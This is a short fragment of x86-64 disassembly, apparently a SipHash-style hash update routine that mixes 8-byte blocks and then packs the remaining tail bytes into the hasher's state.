rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14000a8c0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14000a930
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x14000a942
jmp 0x14000a95c
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14000a95c
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x14000a976
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret